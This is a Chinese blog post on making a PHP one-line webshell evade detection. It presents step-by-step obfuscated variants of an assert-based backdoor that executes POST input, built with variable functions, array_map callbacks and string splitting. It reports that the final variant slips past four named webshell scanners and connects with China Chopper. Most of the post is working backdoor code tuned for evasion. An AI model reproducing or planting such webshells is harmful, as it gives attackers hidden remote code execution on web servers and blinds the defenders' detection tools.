一句话木马免杀(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)

首先一句话木马:

<?php assert($_POST['a']); ?>

D盾扫描,5级

分开写:

1 <?php
2 $a = "assert";
3 $b = $_POST['a'];
4 $a($b);
5 
6 ?>

D盾扫描,4级

使用可变函数的技巧(PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途)

1 <?php
2 $a = "assert";
3 $fun = "a";
4 $$fun($_POST['a']);
5 ?>

D盾扫描,3级

使用array_map()函数(为数组的每个元素应用回调函数)

1 <?php
2 $a = "assert";
3 $fun = "a";
4 array_map($$fun, array($_POST['a']));
5 ?>

D盾扫描,2级

把assert处理一下

 1 <?php
 2 function f(){
 3     $s = "aABKingsABKingsABKingeABKingrABKingt";
 4     $arr = explode("ABKing", $s);
 5     $result = $arr[0].$arr[1].$arr[2].$arr[3].$arr[4].$arr[5];
 6     return $s;
 7 }
 8 $a = $_POST['a'];
 9 $s = f();
10 array_map($s, array($a));
11 ?>

D盾扫描,1级

既然显示数组字符串合并,那么我们再处理得复杂一些

 1 <?php
 2 function argu($a, $b){
 3     $ext = explode('ABKing',$a);
 4     $ext1 = $ext[0];
 5     $ext2 = $ext[1];
 6     $ext3 = $ext[2];
 7     $ext4 = $ext[3];
 8     $ext5 = $ext[4];
 9     $ext6 = $ext[5];
10     $arr[0] = $ext1.$ext2.$ext3.$ext4.$ext5.$ext6;
11     $arr[1] = $b;
12     return $arr;
13 }
14 $b = $_POST['x'];
15 $arr = argu("aABKingsABKingsABKingeABKingrABKingt", $b);
16 $x = $arr[0];
17 $y = $arr[1];
18 array_map($x, array($y));
19 ?>

D盾扫描,成功免杀

安全狗扫描,免杀

微步,免杀

webshell killer,免杀

 接下来拿菜刀连接,成功:

 

这里稍微再列举几个可以替换array_map的函数:

array_filter()

call_user_func_array()

 

 

 

 

参考资料:

如何优雅的隐藏你的webshell:https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug

posted @ 2020-08-16 23:13  ABKing  阅读(1135)  评论(0编辑  收藏